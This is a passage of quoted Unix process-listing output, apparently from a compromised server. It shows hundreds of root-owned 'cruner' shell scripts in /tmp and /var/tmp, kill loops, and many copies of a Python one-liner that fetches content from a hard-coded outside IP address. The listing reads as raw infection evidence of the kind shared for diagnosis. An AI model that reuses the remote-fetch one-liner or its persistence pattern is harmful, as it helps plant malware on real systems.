fbi.urlopen("http://209.141.40.190/xms"). > root 9671 28461 0 15:45:25 ? 0:00 sleep 60 > root 27387 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13142 12255 0 - ? 0:00 <defunct> > root 26571 20724 0 15:45:18 ? 0:00 sleep 60 > root 25925 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6078 6067 0 15:44:23 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25015 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 20740 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29060 21796 0 15:45:47 ? 0:00 xargs kill -9 > root 1679 21047 0 15:45:35 ? 0:00 xargs kill -9 > root 7454 9906 0 15:45:40 ? 0:00 xargs kill -9 > root 19909 1546 0 15:46:04 ? 0:00 sleep 60 > root 1708 29947 0 15:44:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4314 4291 0 - ? 0:00 <defunct> > root 17042 14888 0 15:46:08 ? 0:00 sleep 60 > root 25643 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 7648 4218 0 15:44:13 ? 0:00 bash -sh > root 29804 578 0 - ? 0:00 <defunct> > root 26541 26518 0 - ? 0:00 <defunct> > root 10621 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 20357 24305 0 - ? 0:00 <defunct> > root 15866 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7372 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 16445 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 5380 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 23992 17881 0 15:44:54 ? 0:00 bash -sh > root 29318 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 26150 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 25572 4434 0 15:45:13 ? 0:00 sh /var/tmp/cruner > root 19981 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 4864 8782 0 15:45:54 ? 0:00 sleep 60 > root 7689 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 25996 14430 0 15:45:17 ? 0:00 bash -sh > root 5865 7366 0 15:45:28 ? 0:00 sleep 60 > root 23665 15467 0 - ? 0:00 <defunct> > root 29567 28245 0 15:46:05 ? 0:00 sleep 60 > root 938 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26236 26065 0 15:45:18 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8638 1422 0 15:45:49 ? 0:00 xargs kill -9 > root 18254 24705 0 15:45:12 ? 0:00 bash -sh > root 3142 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1509 1481 0 15:44:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19398 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21174 17091 0 15:43:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11459 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15050 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10943 2518 0 15:44:04 ? 0:00 bash -sh > root 27372 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1666 26699 0 15:45:31 ? 0:00 sleep 60 > root 20587 8063 0 - ? 0:00 <defunct> > root 29944 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2220 15599 0 - ? 0:00 <defunct> > root 6952 8554 0 - ? 0:00 <defunct> > root 3152 18985 0 15:45:35 ? 0:00 sleep 60 > root 24556 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1870 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24391 18537 0 15:46:10 ? 0:00 sleep 60 > root 5299 6930 0 15:46:03 ? 0:00 bash -sh > root 24368 21083 0 - ? 0:00 <defunct> > root 4018 16315 0 15:45:58 ? 0:00 sleep 60 > root 5806 5781 0 15:45:20 ? 0:00 sleep 60 > root 6128 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14768 28560 0 15:45:46 ? 0:00 bash -sh > root 16127 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 10430 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 17914 21383 0 15:45:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9112 27664 0 15:46:07 ? 0:00 bash -sh > root 19314 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16602 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26072 4948 0 15:45:39 ? 0:00 bash -sh > root 25306 16631 0 15:45:07 ? 0:00 bash -sh > root 15366 21291 0 15:45:46 ? 0:00 bash -sh > root 5187 5166 0 15:45:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4347 13276 0 - ? 0:00 <defunct> > root 20610 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2974 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 28770 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16842 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19699 17822 0 15:45:22 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11503 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20687 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 27082 15011 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 16571 2899 0 - ? 0:00 <defunct> > root 21528 26330 0 15:45:17 ? 0:00 sleep 60 > root 7698 2628 0 15:45:20 ? 0:00 sleep 60 > root 2378 9219 0 15:45:48 ? 0:00 xargs kill -9 > root 4959 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 8508 12037 0 15:46:03 ? 0:00 sleep 60 > root 18962 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19682 11132 0 15:44:53 ? 0:00 bash -sh > root 16227 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 8207 13242 0 15:44:38 ? 0:00 bash -sh > root 27153 21664 0 15:43:53 ? 0:00 bash -sh > root 22914 5108 0 15:45:47 ? 0:00 sh /var/tmp/cruner > root 19226 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6489 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 29451 16943 0 15:45:34 ? 0:00 sleep 60 > root 14580 5130 0 15:45:55 ? 0:00 sleep 60 > root 12067 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 8937 24505 0 15:45:40 ? 0:00 bash -sh > root 28209 24035 0 15:45:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6940 11692 0 15:44:51 ? 0:00 bash -sh > root 10301 13875 0 - ? 0:00 <defunct> > root 13626 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11419 20078 0 15:45:25 ? 0:00 sleep 60 > root 7902 7880 0 15:45:36 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13594 12557 0 15:45:50 ? 0:00 sleep 60 > root 10051 23253 0 15:45:15 ? 0:00 bash -sh > root 23395 11212 0 15:46:01 ? 0:00 bash -sh > root 29228 22548 0 - ? 0:00 <defunct> > root 27622 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19131 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1810 25981 0 15:45:48 ? 0:00 sleep 60 > root 8359 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11282 18386 0 15:44:56 ? 0:00 bash -sh > root 16325 16305 0 15:45:42 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19066 3351 0 - ? 0:00 <defunct> > root 18690 1 0 20:05:06 ? 0:01 sh /tmp/cruner > root 21433 25127 0 15:46:09 ? 0:00 sh /var/tmp/cruner > root 15960 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 19041 20590 0 15:46:00 ? 0:00 xargs kill -9 > root 22471 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26636 4525 0 - ? 0:00 <defunct> > root 292 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20650 24975 0 15:45:17 ? 0:00 sleep 60 > root 7984 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10650 58 0 15:44:56 ? 0:00 bash -sh > root 14632 26566 0 - ? 0:00 <defunct> > root 5350 19751 0 - ? 0:00 <defunct> > root 21311 18842 0 15:45:42 ? 0:00 /bin/ksh -p /bin/kill -9 > root 21833 1281 0 15:43:49 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3019 22030 0 15:45:48 ? 0:00 sleep 60 > root 22867 19010 0 15:45:43 ? 0:00 bash -sh > root 14790 359 0 - ? 0:00 <defunct> > root 18497 1 0 18:06:06 ? 0:01 sh /var/tmp/cruner > root 17758 17755 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27585 12701 0 15:45:53 ? 0:00 bash -sh > root 29452 2410 0 15:45:18 ? 0:00 sleep 60 > root 26444 9055 0 - ? 0:00 <defunct> > root 13802 14591 0 - ? 0:00 <defunct> > root 11255 10033 0 - ? 0:00 <defunct> > root 29036 7318 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 24028 22376 0 15:44:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2072 1 0 03:06:49 ? 0:00 sh /var/tmp/cruner > root 13391 12661 0 15:45:29 ? 0:00 sleep 60 > root 19430 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23377 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21858 22745 0 15:45:52 ? 0:00 xargs kill -9 > root 15260 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 21453 3738 0 15:45:06 ? 0:00 bash -sh > root 19615 8080 0 - ? 0:00 <defunct> > root 20694 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13484 23389 0 15:46:08 ? 0:00 sleep 60 > root 26120 1468 0 15:46:10 ? 0:00 bash -sh > root 2260 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21576 1198 0 - ? 0:00 <defunct> > root 21497 5559 0 15:42:20 ? 0:00 bash -sh > root 9335 22916 0 15:45:41 ? 0:00 bash -sh > root 15349 19680 0 - ? 0:00 <defunct> > root 8323 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1999 27087 0 15:46:06 ? 0:00 bash -sh > root 19548 2053 0 15:45:46 ? 0:00 sleep 60 > root 27778 7914 0 15:45:18 ? 0:00 sleep 60 > root 6895 4505 0 - ? 0:00 <defunct> > root 9860 6898 0 15:45:55 ? 0:00 bash -sh > root 22324 15087 0 - ? 0:00 <defunct> > root 12709 2600 0 15:44:25 ? 0:00 bash -sh > root 9146 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9873 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13398 4763 0 15:45:59 ? 0:00 bash -sh > root 107 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 12829 21071 0 - ? 0:00 <defunct> > root 16523 6393 0 15:45:22 ? 0:00 sleep 60 > root 2356 13389 0 - ? 0:00 <defunct> > root 12016 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7250 20623 0 15:45:00 ? 0:00 bash -sh > root 19857 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17391 8469 0 15:45:51 ? 0:00 sleep 60 > root 8507 13047 0 15:44:24 ? 0:00 bash -sh > root 15852 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24299 23094 0 - ? 0:00 <defunct> > root 20830 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20951 8757 0 - ? 0:00 <defunct> > root 23492 15904 0 15:45:43 ? 0:00 /bin/ksh -p /bin/kill -9 > root 12944 12700 0 - ? 0:00 <defunct> > root 16965 6041 0 15:44:52 ? 0:00 bash -sh > root 4141 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15197 2801 0 15:45:46 ? 0:00 bash -sh > root 955 6604 0 15:45:24 ? 0:00 xargs kill -9 > root 3829 25569 0 - ? 0:00 <defunct> > root 13146 8217 0 - ? 0:00 <defunct> > root 29149 25644 0 15:45:43 ? 0:00 sleep 60 > root 27263 15098 0 15:46:10 ? 0:00 bash -sh > root 3811 3788 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4150 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3591 23135 0 15:45:48 ? 0:00 sleep 60 > root 4800 14401 0 - ? 0:00 <defunct> > root 2395 22885 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 12981 16368 0 - ? 0:00 <defunct> > root 2158 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8747 21729 0 15:45:40 ? 0:00 bash -sh > root 8902 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6025 25717 0 15:45:44 ? 0:00 bash -sh > root 2746 27 0 15:43:25 ? 0:00 bash -sh > root 12360 25794 0 - ? 0:00 <defunct> > root 3736 26149 0 15:46:06 ? 0:00 xargs kill -9 > root 16557 17491 0 - ? 0:00 <defunct> > root 3497 23251 0 15:45:24 ? 0:00 bash -sh > root 13896 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24836 8977 0 15:44:58 ? 0:00 bash -sh > root 25878 22514 0 15:46:10 ? 0:00 bash -sh > root 17739 11746 0 - ? 0:00 <defunct> > root 1144 20225 0 15:45:19 ? 0:00 bash -sh > root 6854 3086 0 15:46:07 ? 0:00 /bin/ksh -p /bin/kill -9 > root 10225 26289 0 - ? 0:00 <defunct> > root 18805 19731 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 29596 9497 0 15:45:27 ? 0:00 bash -sh > root 19181 696 0 15:45:29 ? 0:00 sleep 60 > root 8162 7260 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9864 5712 0 15:46:07 ? 0:00 sleep 60 > root 25673 9838 0 - ? 0:00 <defunct> > root 24771 21332 0 15:45:17 ? 0:00 sleep 60 > root 16000 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 11038 17333 0 15:46:07 ? 0:00 sleep 60 > root 9161 10294 0 15:45:59 ? 0:00 sleep 60 > root 22398 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22614 20302 0 15:45:47 ? 0:00 /bin/ksh -p /bin/kill -9 > root 2742 25451 0 15:45:48 ? 0:00 xargs kill -9 > root 11379 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24559 27091 0 15:45:52 ? 0:00 sleep 60 > root 15833 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22952 3722 0 15:44:27 ? 0:00 bash -sh > root 18459 8792 0 - ? 0:00 <defunct> > root 1391 24360 0 15:43:41 ? 0:00 bash -sh > root 123 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28325 13491 0 15:45:18 ? 0:00 sleep 60 > root 20205 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8165 8158 0 - ? 0:00 <defunct> > root 902 11523 0 15:45:58 ? 0:00 sleep 60 > root 22436 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22052 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 18828 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12694 2164 0 15:45:21 ? 0:00 sleep 60 > root 21309 18574 0 15:46:01 ? 0:00 /bin/ksh -p /bin/kill -9 > root 10224 3660 0 15:46:07 ? 0:00 sleep 60 > root 12865 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25151 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26213 23347 0 15:43:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28448 17662 0 15:45:47 ? 0:00 sleep 60 > root 10115 25538 0 - ? 0:00 <defunct> > root 2083 11774 0 - ? 0:00 <defunct> > root 19955 19848 0 15:46:09 ? 0:00 sleep 60 > root 21637 28289 0 - ? 0:00 <defunct> > root 23382 8952 0 15:45:33 ? 0:00 sleep 60 > root 7429 1444 0 15:45:40 ? 0:00 xargs kill -9 > root 26220 23244 0 - ? 0:00 <defunct> > root 6051 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 13188 29709 0 - ? 0:00 <defunct> > root 21944 11586 0 15:45:30 ? 0:00 sleep 60 > root 16358 25022 0 15:45:26 ? 0:00 bash -sh > root 4062 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3234 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9514 19820 0 15:45:50 ? 0:00 sh /tmp/cruner > root 8811 2444 0 15:44:14 ? 0:00 bash -sh > root 5404 16485 0 15:46:03 ? 0:00 sleep 60 > root 1452 27077 0 15:43:30 ? 0:00 bash -sh > root 17440 11547 0 15:46:00 ? 0:00 sh /tmp/cruner > root 16747 26490 0 - ? 0:00 <defunct> > root 22096 10840 0 - ? 0:00 <defunct> > root 18787 12139 0 15:46:04 ? 0:00 sleep 60 > root 16582 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19036 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11747 16786 0 15:45:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2648 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8320 7744 0 15:43:09 ? 0:00 bash -sh > root 2425 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28723 2762 0 15:45:47 ? 0:00 sleep 60 > root 7836 25709 0 15:45:25 ? 0:00 sleep 60 > root 19607 19606 0 15:46:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 44 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7536 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13243 18023 0 - ? 0:00 <defunct> > root 15277 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15924 28926 0 15:44:30 ? 0:00 bash -sh > root 10162 29898 0 15:45:28 ? 0:00 sleep 60 > root 2421 25746 0 15:46:06 ? 0:00 sleep 60 > root 21593 26340 0 15:46:09 ? 0:00 sleep 60 > root 14813 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15144 12730 0 15:43:56 ? 0:00 bash -sh > root 12081 28247 0 15:45:41 ? 0:00 bash -sh > root 14432 10443 0 - ? 0:00 <defunct> > root 20035 14180 0 - ? 0:00 <defunct> > root 29092 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21679 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4693 8903 0 - ? 0:00 <defunct> > root 12600 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 25589 7487 0 15:45:27 ? 0:00 sleep 60 > root 4748 20005 0 15:44:29 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22726 22552 0 - ? 0:00 <defunct> > root 3025 25462 0 15:43:59 ? 0:00 bash -sh > root 8996 550 0 - ? 0:00 <defunct> > root 22676 22552 0 - ? 0:00 <defunct> > root 18128 4165 0 15:45:42 ? 0:00 sleep 60 > root 9669 15432 0 15:45:50 ? 0:00 bash -sh > root 29197 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 22898 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19893 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 23708 23704 0 15:45:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28605 8773 0 - ? 0:00 <defunct> > root 1422 10524 0 15:45:39 ? 0:00 bash -sh > root 3692 14382 0 15:45:58 ? 0:00 sleep 60 > root 4000 3770 0 15:43:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 883 29446 0 15:45:27 ? 0:00 sleep 60 > root 20478 27729 0 15:46:00 ? 0:00 bash -sh > root 7797 3003 0 15:45:36 ? 0:00 sleep 60 > root 16177 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 1511 16307 0 - ? 0:00 <defunct> > root 3698 9005 0 15:45:48 ? 0:00 bash -sh > root 4548 29425 0 15:45:58 ? 0:00 sh /tmp/cruner > root 9754 19915 0 - ? 0:00 <defunct> > root 5064 22939 0 15:45:04 ? 0:00 bash -sh > root 28766 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11276 6748 0 15:45:15 ? 0:00 sleep 60 > root 26557 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18322 12474 0 15:46:00 ? 0:00 bash -sh > root 26199 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24002 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15402 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14702 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22281 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 27251 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6759 24334 0 15:45:09 ? 0:00 bash -sh > root 6802 14124 0 15:45:04 ? 0:00 bash -sh > root 4588 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 20602 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 17160 24848 0 15:44:52 ? 0:00 bash -sh > root 543 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9040 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 25509 1 0 22:56:36 ? 0:00 sh /tmp/cruner > root 4333 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13713 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22802 1308 0 15:46:09 ? 0:00 bash -sh > root 21474 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 18927 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22755 12962 0 15:46:09 ? 0:00 sleep 60 > root 2118 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1113 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17662 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16652 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23491 19779 0 - ? 0:00 <defunct> > root 11404 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13902 17226 0 - ? 0:00 <defunct> > root 21926 10650 0 - ? 0:00 <defunct> > root 10461 20803 0 15:46:07 ? 0:00 sleep 60 > root 26365 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21008 19717 0 15:44:36 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21323 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14948 3872 0 15:46:08 ? 0:00 sh /tmp/cruner > root 12683 29833 0 15:45:29 ? 0:00 sleep 60 > root 678 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11796 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29746 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20774 26525 0 15:45:52 ? 0:00 bash -sh > root 25110 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25596 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28394 16890 0 15:45:18 ? 0:00 bash -sh > root 14365 7988 0 - ? 0:00 <defunct> > root 9356 4453 0 - ? 0:00 <defunct> > root 21134 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 21378 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 4865 19597 0 - ? 0:00 <defunct> > root 28897 2579 0 - ? 0:00 <defunct> > root 20330 27517 0 15:45:38 ? 0:00 bash -sh > root 9472 17491 0 - ? 0:00 <defunct> > root 17757 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24349 6582 0 15:45:47 ? 0:00 sleep 60 > root 24253 9656 0 15:44:58 ? 0:00 bash -sh > root 14737 25543 0 15:46:08 ? 0:00 bash -sh > root 5134 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4289 5580 0 15:46:06 ? 0:00 sh /tmp/cruner > root 5837 25791 0 - ? 0:00 <defunct> > root 21849 10667 0 15:45:17 ? 0:00 sleep 60 > root 7004 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14934 9264 0 15:45:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 535 21573 0 15:45:08 ? 0:00 bash -sh > root 11320 13968 0 - ? 0:00 <defunct> > root 7623 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10523 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 5120 1 0 18:08:15 ? 0:01 sh /var/tmp/cruner > root 5638 21951 0 - ? 0:00 <defunct> > root 25595 23664 0 15:44:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21577 3984 0 - ? 0:00 <defunct> > root 2549 21206 0 15:45:40 ? 0:00 bash -sh > root 28055 4250 0 - ? 0:00 <defunct> > root 9889 419 0 15:44:56 ? 0:00 bash -sh > root 1879 1649 0 15:45:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2941 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22049 8312 0 15:45:52 ? 0:00 bash -sh > root 7085 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 21901 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19906 12092 0 - ? 0:00 <defunct> > root 26921 26883 0 15:46:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19057 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22075 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20036 23328 0 - ? 0:00 <defunct> > root 24841 14949 0 15:45:43 ? 0:00 sleep 60 > root 7538 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5910 9476 0 15:45:20 ? 0:00 bash -sh > root 14275 26016 0 15:44:52 ? 0:00 bash -sh > root 21992 22615 0 15:44:53 ? 0:00 bash -sh > root 1315 24940 0 15:44:11 ? 0:00 bash -sh > root 12194 21575 0 15:45:11 ? 0:00 bash -sh > root 8801 13337 0 15:45:58 ? 0:00 bash -sh > root 11906 23876 0 15:45:11 ? 0:00 sh /tmp/cruner > root 9380 12990 0 - ? 0:00 <defunct> > root 10236 17801 0 15:43:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26362 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29882 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25579 5760 0 15:43:40 ? 0:00 bash -sh > root 22209 2524 0 15:45:17 ? 0:00 sleep 60 > root 13940 13939 0 15:45:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23577 11406 0 - ? 0:00 <defunct> > root 23514 29708 0 - ? 0:00 <defunct> > root 22255 24338 0 15:45:26 ? 0:00 bash -sh > root 21184 21829 0 15:45:33 ? 0:00 sleep 60 > root 9997 9868 0 - ? 0:00 <defunct> > root 23084 1308 0 15:46:09 ? 0:00 bash -sh > root 27856 27851 0 - ? 0:00 <defunct> > root 28061 2041 0 - ? 0:00 <defunct> > root 2271 1 0 20:05:18 ? 0:00 sh /var/tmp/cruner > root 26503 24489 0 15:46:10 ? 0:00 bash -sh > root 17278 4726 0 15:45:12 ? 0:00 sh /var/tmp/cruner > root 23655 5910 0 - ? 0:00 <defunct> > root 26964 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9627 9607 0 - ? 0:00 <defunct> > root 4246 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8973 16209 0 15:42:57 ? 0:00 bash -sh > root 16389 11465 0 15:45:42 ? 0:00 bash -sh > root 23875 21055 0 - ? 0:00 <defunct> > root 18605 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12623 5324 0 15:46:08 ? 0:00 bash -sh > root 28411 7195 0 - ? 0:00 <defunct> > root 25419 25139 0 15:46:10 ? 0:00 /bin/ksh -p /bin/kill -9 > root 4853 17056 0 15:45:24 ? 0:00 bash -sh > root 10211 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7145 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19761 8938 0 - ? 0:00 <defunct> > root 7295 9250 0 15:43:50 ? 0:00 bash -sh > root 18067 18460 0 - ? 0:00 <defunct> > root 29508 14308 0 15:45:34 ? 0:00 sleep 60 > root 9529 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27649 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17498 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 19910 8621 0 15:44:18 ? 0:00 bash -sh > root 14945 18136 0 - ? 0:00 <defunct> > root 4850 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9306 21823 0 - ? 0:00 <defunct> > root 18477 7728 0 - ? 0:00 <defunct> > root 13382 20178 0 15:46:08 ? 0:00 xargs kill -9 > root 2639 26479 0 15:45:27 ? 0:00 sleep 60 > root 11337 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15310 1 0 Oct 05 ? 0:01 sh 